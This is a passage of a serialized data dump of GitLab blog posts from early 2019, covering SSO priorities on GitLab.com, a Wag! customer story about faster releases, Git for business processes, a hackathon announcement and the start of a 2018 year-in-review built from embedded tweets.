automated provisioning of users and revocation of permissions), we decided to launch it to get as much feedback as possible, and to ensure our product velocity stays at the high levels we’ve come to expect.\n\nHere are some of the factors at play and how we're moving forward:\n\n### 1. We haven't always focused on enterprise features for GitLab.com\n\nGitLab.com has typically been the GitLab solution for hobbyists and small development teams. Enterprises have typically gravitated towards self-managed, self-hosted GitLab. Because of this bifurcation, enterprise features such as SSO were not prioritized as high in mid-2018.\n\n### The fix: We are now prioritizing enterprise features\n\nThis includes features like SSO at the top of our list. In 2019, enterprise customers looking to use GitLab are coming with a SaaS-first approach, led by a desire to get out of traditional hosting arrangements, shying away from long procure times, and looking for quick time to market on SaaS implementation. Most importantly, we’ve heard this directly from enough customers recently that we couldn't sit idly by and not activate on this.\n\n### 2. Security issues have burdened our Manage team\n\nThe [Manage](/stages-devops-lifecycle/) team, responsible for authentication at GitLab, has been hit with the most security issues of any team (170 open issues) and has been required to prioritize these over new feature releases. Manage has released [eight security fixes](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=closed&milestone_title=Any&label_name[]=Manage&label_name[]=security) that we've made public since September. We're proud of this work, as it’s required to protect our customers.\n\n### The fix: Measures to improve our velocity in finding and fixing security issues\n\nWe will continue to prioritize P1 security issues above all new features and functionality, consistent with our [prioritization framework](/handbook/product/product-processes/#how-we-prioritize-work) and ensuring a secure application. If GitLab isn’t a secure application where customers can trust that their data is safe and secure, all of the features in the world won’t make a difference as we won’t be around for long. In order to improve our security posture and increase the velocity at which we identify and fix security vulnerabilities, we've launched our [HackerOne Bug Bounty Program](https://hackerone.com/gitlab) with rewards of up to $12,000! [This program was launched](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) on Dec. 12, 2018 and has already paid out over $265,000 in bug bounties, over 215 reports!\n\n### 3. The Manage team has been stretched\n\nThe Manage team has an incredibly broad scope, ranging from permissions and authentication, to cycle analytics and DevOps scoring for organizations. In the few spare cycles our engineering team has had in between security issues, we had to spend time on high-severity, non-security bugfixes and promised features – like [adding smart card support](https://gitlab.com/gitlab-org/gitlab-ee/issues/726) and keeping instances more secure by [prohibiting admin impersonation](https://gitlab.com/gitlab-org/gitlab-ce/issues/40385). Simply put, we didn’t have enough resources to activate on all fronts.\n\n### The fix: We're growing to meet demand\n\nGitLab will grow from ~400 employees at the start of 2019 to ~800 by the end of the year. We will be splitting Manage into several teams, starting with the [Fulfillment team](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/18087), allowing for more resources to push along each of these areas in parallel.\n\nGitLab.com is one of our highest-growth areas based on most Key Performance Indicators, including monthly active users, revenue, and feature usage. It’s the quickest way to get started using GitLab, and we need to do a better job knocking down barriers for large organization adoption. We’re already activating heavily on [SAML-based SSO for enterprises](https://gitlab.com/groups/gitlab-org/-/epics/731) in early 2019 and look forward to regaining our customers’ trust in being a company that quickly adapts to your feedback.\n\nIf this type of organization and [product philosophy](/handbook/product/) seems exciting to you, drop me a note at ebrinkman@gitlab.com. We will be doubling the size of the product team and are looking for talented product managers to help us scale GitLab and drive the direction and growth of our application.\n",[754,676,674],{"slug":30899,"featured":6,"template":678},"iterating-on-sso","content:en-us:blog:iterating-on-sso.yml","Iterating On Sso","en-us/blog/iterating-on-sso.yml","en-us/blog/iterating-on-sso",{"_path":30905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30906,"content":30912,"config":30917,"_id":30919,"_type":16,"title":30920,"_source":17,"_file":30921,"_stem":30922,"_extension":20},"/en-us/blog/wag-labs-blog-post",{"title":30907,"description":30908,"ogTitle":30907,"ogDescription":30908,"noIndex":6,"ogImage":30909,"ogUrl":30910,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30910,"schema":30911},"How Wag! cut their release process from 40 minutes to just 6","The popular dog-walking app is rolling out new features faster and with more confidence as they adopt GitLab for more of their DevOps workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678923/Blog/Hero%20Images/dog-walking.jpg","https://about.gitlab.com/blog/wag-labs-blog-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Wag! cut their release process from 40 minutes to just 6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2019-01-16\",\n      }",{"title":30907,"description":30908,"authors":30913,"heroImage":30909,"date":30914,"body":30915,"category":813,"tags":30916},[29394],"2019-01-16","\nDo you own a dog and work outside of the home? If you do, or even just know someone who does, you know that finding a trustworthy caretaker is of the utmost importance. With dog walkers in cities and towns across the U.S., the folks at [Wag!](https://wagwalking.com/about) have proven to be a source of reliable caretakers for countless fur parents. In three years, the company has powered more than one billion walks via its app for on-demand dog walking, sitting, and boarding, that boasts of millions of users.\n\nWag! recently signed on with GitLab to make the most of their engineering hours and bring their customers new features and updates at a faster clip.\n\n### From version control, to CI, to the full pipeline\n\nHaving previously used GitLab as their main source of truth for repositories, Wag! initially planned to return to the app solely for [continuous integration (CI)](/solutions/continuous-integration/). But after giving it a whirl, they quickly expanded their strategy to include the use of other features.\n\n\"We started our GitLab project about seven or eight months ago,\" explains [Dave Bullock](https://www.linkedin.com/in/eecue), director of engineering at Wag! \"The original idea was to just use it as our CI platform. But as we built that out, we started using it for more and more tasks, and ended up using it for our full [CI/CD pipeline](/topics/ci-cd/). That includes both our application, so the CI/CD that powers the API, along with our infrastructure. We use GitLab with Terraform to test, review, save, and deploy all of our infrastructure as well as the application on two separate pipelines. Every team uses it in their application, whether it's the Android application, the web application, the API, or our infrastructure; it's all being tested, built, and deployed through GitLab.\"\n\n### Streamlining to a single application\n\nPart of GitLab's appeal stemmed from the [ability to do everything in one place](/topics/single-application/). Wag! was searching for an [integrated solution](/solutions/continuous-integration/) that would streamline their development process, and they found it in GitLab.\n\n\"We were previously using a combination of Travis and other random technologies, and we just wanted something with a little bit better interface, a little more control, and something that we owned as far as the hosting and the management,\" says Bullock. \"We really wanted to move towards a single, full-service application.\"\n\n>\"We just wanted something with a better interface, a little more control, and something that we owned as far as the hosting and the management. We really wanted to move towards a single, full-service application.\"\n\nThe impact of that choice is also being felt on the infrastructure side. Wag!'s infrastructure engineers no longer have to manually stage and test their work. They are now following the same basic workflow that is used for their app, while integrating Terraform to manage their infrastructure.\n\n\"Basically, one of our DevOps team members will make a change, cut a pull request, and it'll be reviewed by the team. If it looks good, we'll say, 'Okay, cool. Merge it into master,'\" Bullock explains. \"If it's one of the modules, we'll tag that module, update the reference to it, and then the CI pipeline will kick off. It'll test the syntax, look for any security issues, and alert a Slack channel if there are any. It'll then stage a full version of the environment and test it. So, it stages all the pieces: the database, cache, and everything else, and tests it all to make sure that it works, just like we would be testing our production website.\n\n\"If that passes, then it allows you to see what your changes are going to do before you apply them,\" he continues. \"We call it Terraform plan. So, it runs Terraform plan on each piece of our infrastructure, and it'll tell us something like, 'Hey, we see 34 changes and 2 destructions and 1 creation in this environment. Click here to review.' Then the group will review it and if it looks good, we'll apply it in production. Having that as a full pipeline is really great.\"\n\n>“Now it's so easy to deploy something and roll it back if there's an issue. It's taken the stress and the fear out of deploying into production.” – Dave Bullock, Director of Engineering\n\n### Easy learning curve\n\nSome of the Wag! engineers had working experience with GitLab, while others had not. Nonetheless, Bullock found the onboarding of his teams to be a fairly easy process due to the intuitive nature of the interface.\n\n\"I think once you kind of understand how CI works, it's basically about following things step by step,\" he says. \"Pipelines were a new concept to a lot of the team, but once you see it happening visually, it's really easy to understand what's going on, expand and add to it. It's a really useful interface. Seeing all those green dots or red dots makes it really clear what's going on.\"\n\n### Built-in security, shaving down test times and faster releases\n\nAs part of their ramp up in GitLab, the dog-walking service recently furled [automated security scanning and license management](/solutions/security-compliance/) into their workflow, with Bullock noting how \"great\" it is to have those features baked into the pipeline so that immediate action can be taken when needed.\n\nWag! currently issues three releases a day, with plans to bump that number up to eight or more. Since adopting GitLab, they have seen a massive improvement in the amount of time spent on the release process. **What previously took 40 minutes to an hour to accomplish, now takes just six minutes.**\n\n\"Traditionally, the release process was slow, fragile, and limited to only a few key release engineers who had access to 10 different systems to monitor, make changes, and log into to make updates and pull in the latest code. It was not optimal. Now it's literally a single pane of glass. A lot of it just happens automatically when you merge `develop` into `master` and tag it.\"\n\nThe release process time should improve even more once Wag! engineers switch from manually pushing parts of the release through to automating the process.\n\n\"Right now, we're still clicking through the interface and saying, 'Okay, do this, now let's monitor,'\" says Bullock. \"But I think as we become more comfortable with it, we'll go to fully automated deployments. Literally, just let it go and deploy. If we see an uptick in errors, we'll let it roll back on its own. But as it is now, it's so easy to deploy something and roll it back ourselves if there's an issue. It's taken the stress and the fear out of deploying into production.\"\n\n### Adopting DevOps\n\nWag!'s engineering team has big plans for 2019. They are currently in the process of moving their repositories from GitHub to GitLab and are planning to switch from Amazon ECS to [Kubernetes](/solutions/kubernetes/). This is all part of their roadmap to implementing DevOps.\n\n\"I think we're going to start working on the project in Q1 and it will be really awesome to have all the bells and functionality,\" Bullock says. \"We're excited about Auto DevOps and a lot of new things GitLab has coming down the pipeline. We're going to push pretty hard on that this year.\n\n\"I'm a big fan of DevOps in general, so I think the closer that you can bring the development engineers to the ops side, the better things work,\" he adds. \"I would love for every software engineer or backend engineer to take ownership of the environment that their code runs in, or at least be able to experiment with it and kind of instantly just spin up a full working environment that is the same as our production environment, which we do now, but not with Kubernetes. I think removing that friction is great.\"\n\n### Growing with GitLab\n\nGitLab's releases are a treat the folks at Wag! look forward to checking out each month. The rollout of new features, which are partly determined by user feedback, tend to correlate with the engineering needs of the growing dog-walking and boarding service.\n\n\"I think it's exciting that as we're growing and adding interesting pieces to our infrastructure and application, we're seeing GitLab grow with your monthly release cycles,\" says Bullock. \"Every month there's some new stuff that we're like, 'Oh cool, we could use that, that's perfect.' It's nice to have GitLab as a partner that's growing with us, and it's exciting to see the parallels of new features that you're launching and how it's solving our problems and optimizing things. There's all kinds of cool stuff, and every time we start using a new piece of GitLab, I feel like, 'Okay, that's great, we're really getting our money’s worth.'\"\n\nPhoto by [Andrii Podilnyk](https://unsplash.com/photos/dWSl8REfpoQ?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/dog-walk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[2705,1384,2368,4103,674,942,4772,1444],{"slug":30918,"featured":6,"template":678},"wag-labs-blog-post","content:en-us:blog:wag-labs-blog-post.yml","Wag Labs Blog Post","en-us/blog/wag-labs-blog-post.yml","en-us/blog/wag-labs-blog-post",{"_path":30924,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30925,"content":30931,"config":30936,"_id":30938,"_type":16,"title":30939,"_source":17,"_file":30940,"_stem":30941,"_extension":20},"/en-us/blog/git-for-business-processes",{"title":30926,"description":30927,"ogTitle":30926,"ogDescription":30927,"noIndex":6,"ogImage":30928,"ogUrl":30929,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30929,"schema":30930},"How we use Git as the blockchain for process changes","Git can be useful for more than just coding and operations. It can help you run your entire business – here's how we do it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679971/Blog/Hero%20Images/git-blockchain.jpg","https://about.gitlab.com/blog/git-for-business-processes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use Git as the blockchain for process changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2019-01-15\",\n      }",{"title":30926,"description":30927,"authors":30932,"heroImage":30928,"date":30933,"body":30934,"category":6634,"tags":30935},[29394],"2019-01-15","\n\nGit may have started out as a way to collaborate on code, but there’s no denying that it has crept into the operations side of things. But does it stop there? We don’t think so.\n\nJust like [blockchain technology](https://blockgeeks.com/guides/what-is-blockchain-technology/) was originally created for cryptocurrency, but is now seen as a revolutionary way to share, store and update [all kinds of data](https://www.fool.com/investing/2018/04/11/20-real-world-uses-for-blockchain-technology.aspx), we see – and use – Git in much the same way.\n\nIn addition to version controlling code and the environment in which it lives, Git can also be used at a high level to facilitate the way a company actually functions, according to our CEO [Sid Sijbrandij](/company/team/#sytses).\n\nHe says GitLab is a prime example of how it can be done.\n\n## How we use Git to run GitLab, the company\n\n\"We’re not just trying to version our code and operations, we're also trying to version all the processes we have at the company, and we do that for a whole slew of reasons,\" says Sid. \"If you write your processes down, it's easier to change and for someone to propose a change. If it's all stored in people's heads, how are you going to change it? You'll have to create a presentation and make sure everyone reads it. But if it’s written down, it's faster to make a change and you're better able to communicate the context for it.\"\n\n### How Git has helped us to scale\n\nUsing Git to implement procedural changes within the company has helped GitLab shoulder growing pains, thanks to our [handbook](/handbook/).\n\n\"Although we're not a perfect company by any means, we've been able to scale really rapidly, onboard people and get them started with the work they have to do,\" Sid says. \"And I think our handbook and how we describe things is an important part of that. It's exciting to see it grow. The handbook is now over 2,000 pages, so people can't read everything anymore, but they can read the parts that are relevant to them, and it's really helping with organizational changes that are happening between different departments.\"\n\nSid admits running a business with Git collaboration can seem like a daunting task, especially for companies that did not start out functioning that way. But he urges business leaders to give the process a chance, pointing to a number of companies that are adopting Git as a way to make procedural changes, including O’Reilly Media and several law firms.\n\n## Two tips for adopting Git to run your business\n\n### 1. Evangelize from the top down\n\n\"First of all, this is super hard. It's unnatural and it requires constant campaigning from the top of the company,\" Sid said. \"The natural state is for all the documentation to get out of date, and for people to send each other emails and PowerPoints about the change they want to make without looking at the rest of the changes.\"\n\n### 2. Make processes easier to change\n\n\"What you frequently find in companies is that there's the official process, and then the process that people really use. You can prevent that by making processes easier to change. The reality is people are changing processes in a company every single day, and they have to make those changes quickly. So the harder you make it, the more diversions there will be between reality and what's in the handbook. Instead, empower everyone in the organization to make those changes and do so quickly. That is one of the most important things you can do.\"\n\n\"Our handbook is [Creative Commons](https://creativecommons.org/licenses/by-sa/4.0/), so feel free to use that as a starting point for anything that you do.\" [Tweet us](http://twitter.com/gitlab) if you do borrow from or adapt our handbook – we'd love to hear about it.\n\n[Cover image](https://unsplash.com/photos/mf-o1E7omzk) by [chuttersnap](https://unsplash.com/@chuttersnap) on Unsplash\n{: .note}\n",[2368,1067,676,815,1444],{"slug":30937,"featured":6,"template":678},"git-for-business-processes","content:en-us:blog:git-for-business-processes.yml","Git For Business Processes","en-us/blog/git-for-business-processes.yml","en-us/blog/git-for-business-processes",{"_path":30943,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30944,"content":30949,"config":30954,"_id":30956,"_type":16,"title":30957,"_source":17,"_file":30958,"_stem":30959,"_extension":20},"/en-us/blog/q1-hackathon-announcement",{"title":30945,"description":30946,"ogTitle":30945,"ogDescription":30946,"noIndex":6,"ogImage":19778,"ogUrl":30947,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30947,"schema":30948},"Get ready for the Q1'2019 GitLab Hackathon","The first Hackathon in 2019 for the GitLab community will take place on February 12-13.","https://about.gitlab.com/blog/q1-hackathon-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get ready for the Q1'2019 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-01-14\",\n      }",{"title":30945,"description":30946,"authors":30950,"heroImage":19778,"date":30951,"body":30952,"category":813,"tags":30953},[21623],"2019-01-14","\n\nFirst of all, I want to wish a Happy New Year to everyone in the GitLab community! I'm certainly looking forward to continued collaboration with everyone in 2019. Following successful [Hackathons in 2018](/community/hackathon/past-events/), I'm excited to announce that the first Hackathon this year will take place on Feb. 12-13.\n\n## What's the deal?\n\nThis is a virtual event where community members get together to work on merge requests (MRs) and also to welcome and help new contributors. We will be adding more details on [the Hackathon landing page](/community/hackathon/), as we get closer to the event, including prizes for everyone who has MRs merged within 10 days of the conclusion of the Hackathon.\n\n## What else is taking place?\n\nWe are again planning tutorial sessions where community experts will lead presentations plus Q&A sessions on a variety of topics. As speakers get confirmed, you will see tutorial sessions added on [the Hackathon landing page](/community/hackathon/). All the tutorial sessions will be recorded and added to the [GitLab Hackathon playlist](https://www.youtube.com/playlist?list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh). If you missed tutorials from past Hackathons, I encourage you to check out videos from the playlist.\n\n![Hackthon playlist](https://about.gitlab.com/images/blogimages/hackathon-playlist.png){: .shadow.medium.center}\n*\u003Csmall>Tutorial videos on the Hackathon playlist\u003C/small>*\n\nFor the upcoming Hackathon, we will also be highlighting issues from different [GitLab product categories](/handbook/product/categories/) that we want to encourage community members to work on. There will be additional prizes for community members who work on these issues and have MRs merged.\n\n## Where can I find help during the Hackathon?\n\nFor communications during the Hackathon, we will again use the [GitLab Community room in Gitter](https://gitter.im/gitlabhq/community). This is a channel designed to have community-related discussions and for community members to help each other as people have questions when contributing to GitLab. This is open to everyone, so please [join the room](https://gitter.im/gitlabhq/community) if you are not part of it already.\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\nCover image: [\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel)\n{: .note}\n",[267,2368,815,277],{"slug":30955,"featured":6,"template":678},"q1-hackathon-announcement","content:en-us:blog:q1-hackathon-announcement.yml","Q1 Hackathon Announcement","en-us/blog/q1-hackathon-announcement.yml","en-us/blog/q1-hackathon-announcement",{"_path":30961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30962,"content":30968,"config":30973,"_id":30975,"_type":16,"title":30976,"_source":17,"_file":30977,"_stem":30978,"_extension":20},"/en-us/blog/gitlab-2018-year-in-review",{"title":30963,"description":30964,"ogTitle":30963,"ogDescription":30964,"noIndex":6,"ogImage":30965,"ogUrl":30966,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30966,"schema":30967},"2018: GitLab's year in review","Take a look at the highlight reel from 2018 – from landing $100M in funding to welcoming a host of great open source projects to GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670162/Blog/Hero%20Images/happy-holidays-cover.png","https://about.gitlab.com/blog/gitlab-2018-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2018: GitLab's year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"},{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2019-01-10\",\n      }",{"title":30963,"description":30964,"authors":30969,"heroImage":30965,"date":30970,"body":30971,"category":299,"tags":30972},[22017,19026],"2019-01-10","\n\nIn 2018, we added 289 new team members, raised another round of funding, spread the word about remote work, surpassed 2,000 contributors, welcomed some awesome open source projects to GitLab, and shipped 12 releases. It's been a banner year for GitLab, so before diving into 2019, we invite you to peer back through the mists of time at the top events from the past year, according to our community:\n\n- [Product news](#product-news)\n- [Community news](#community-news)\n- [Company news](#gitlab-news)\n\n## Product news\n\n### We announced GitLab Serverless\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Announcing GitLab Serverless 🚀\u003Ca href=\"https://t.co/Iu4GwHsaYK\">https://t.co/Iu4GwHsaYK\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1072521159638482945?ref_src=twsrc%5Etfw\">December 11, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We introduced Meltano\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Hey, data teams! We&#39;re working on a tool just for you. Read all about Meltano, from \u003Ca href=\"https://twitter.com/jakecodes?ref_src=twsrc%5Etfw\">@jakecodes\u003C/a> &amp; @tayloramurphy1 ✌️  \u003Ca href=\"https://t.co/egEzILPNzu\">https://t.co/egEzILPNzu\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1024773311367131137?ref_src=twsrc%5Etfw\">August 1, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### You got _really_ excited about the Web IDE\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">👋 Meet the GitLab Web IDE!\u003Ca href=\"https://t.co/vhx2RR1uU6\">https://t.co/vhx2RR1uU6\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1007679206187249664?ref_src=twsrc%5Etfw\">June 15, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We successfully migrated to GCP and have noticed some improvements\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">What&#39;s up with \u003Ca href=\"https://t.co/W0iwxWzEZ8\">https://t.co/W0iwxWzEZ8\u003C/a>? I wrote an analysis of \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a>&#39;s stability and performance since we migrated to \u003Ca href=\"https://twitter.com/googlecloud?ref_src=twsrc%5Etfw\">@googlecloud\u003C/a> in August.\u003Ca href=\"https://t.co/8JvvbVq9wJ\">https://t.co/8JvvbVq9wJ\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/GoogleCloud?src=hash&amp;ref_src=twsrc%5Etfw\">#GoogleCloud\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/Cloud?src=hash&amp;ref_src=twsrc%5Etfw\">#Cloud\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/DevOps?src=hash&amp;ref_src=twsrc%5Etfw\">#DevOps\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/SaaS?src=hash&amp;ref_src=twsrc%5Etfw\">#SaaS\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/performance?src=hash&amp;ref_src=twsrc%5Etfw\">#performance\u003C/a> \u003Ca href=\"https://t.co/L6TWhh2Z0B\">pic.twitter.com/L6TWhh2Z0B\u003C/a>\u003C/p>&mdash; Andrew Newdigate (@suprememoocow) \u003Ca href=\"https://twitter.com/suprememoocow/status/1050467664584462337?ref_src=twsrc%5Etfw\">October 11, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nAND you can check out [all our releases from 2018 (and from all time) over here](/releases/categories/releases/).\n\n## Community news\n\n### GNOME moves to GitLab\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Anyway, I&#39;m proud of \u003Ca href=\"https://twitter.com/gnome?ref_src=twsrc%5Etfw\">@gnome\u003C/a> because we achieved it, we made a huge effort on adapting and will continue doing it because that&#39;s who we are. And with this, I want to announce that the mass migration to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> is now completed! Welcome all to 2018! 🎉\u003C/p>&mdash; Carlos Soriano (@csoriano1618) \u003Ca href=\"https://twitter.com/csoriano1618/status/1001501640623640577?ref_src=twsrc%5Etfw\">May 29, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Drupal moves to GitLab\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Welcome to the party \u003Ca href=\"https://twitter.com/drupal?ref_src=twsrc%5Etfw\">@drupal\u003C/a>! 🎉 \u003Ca href=\"https://t.co/umLw6YlSTl\">https://t.co/umLw6YlSTl\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1030164542360375296?ref_src=twsrc%5Etfw\">August 16, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Freedesktop.org moves to GitLab\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We get pretty excited when open source projects tell us they’re \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a>. Welcome, \u003Ca href=\"https://twitter.com/hashtag/freedesktop?src=hash&amp;ref_src=twsrc%5Etfw\">#freedesktop\u003C/a>! \u003Ca href=\"https://t.co/oLIfXZb7Va\">https://t.co/oLIfXZb7Va\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1031864994747609088?ref_src=twsrc%5Etfw\">August 21, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Errrrrybody is #movingtogitlab\n\nWell, not _quite_, but 10x the normal daily number is still a big deal 😎\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We&#39;re seeing 10x the normal daily amount of repositories \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> \u003Ca href=\"https://t.co/7AWH7BmMvM\">https://t.co/7AWH7BmMvM\u003C/a> We&#39;re scaling our fleet to try to stay up. Follow the progress on \u003Ca href=\"https://t.co/hN0ce379SC\">https://t.co/hN0ce379SC\u003C/a> and \u003Ca href=\"https://twitter.com/movingtogitlab?ref_src=twsrc%5Etfw\">@movingtogitlab\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1003409836170547200?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Y'all had _feelings_ about burnout\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">‣ Don&#39;t go straight to work after you wake up.\u003Cbr>‣ Put \u003Ca href=\"https://twitter.com/hashtag/Slack?src=hash&amp;ref_src=twsrc%5Etfw\">#Slack\u003C/a> notifications on dnd on weekends. \u003Cbr>‣ When you notice someone in a different time zone should be asleep, tell them.\u003Ca href=\"https://t.co/zKiytIMXsJ\">https://t.co/zKiytIMXsJ\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/975463098676076544?ref_src=twsrc%5Etfw\">March 18, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### And everyone struggles with Git sometimes\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Git happens! Here&#39;s how to fix it 💅\u003Ca href=\"https://t.co/IMAuDH8j3P\">https://t.co/IMAuDH8j3P\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1058445892464902146?ref_src=twsrc%5Etfw\">November 2, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">How &amp; why to keep your Git commit history clean 💻✨ via \u003Ca href=\"https://twitter.com/Kushal_Pandya?ref_src=twsrc%5Etfw\">@Kushal_Pandya\u003C/a> \u003Ca href=\"https://t.co/HbYv2KsyGQ\">https://t.co/HbYv2KsyGQ\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1006245935675006977?ref_src=twsrc%5Etfw\">June 11, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We celebrated 20 years of open source ❤️\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We&#39;re excited to celebrate the 20th anniversary of open source this year at \u003Ca 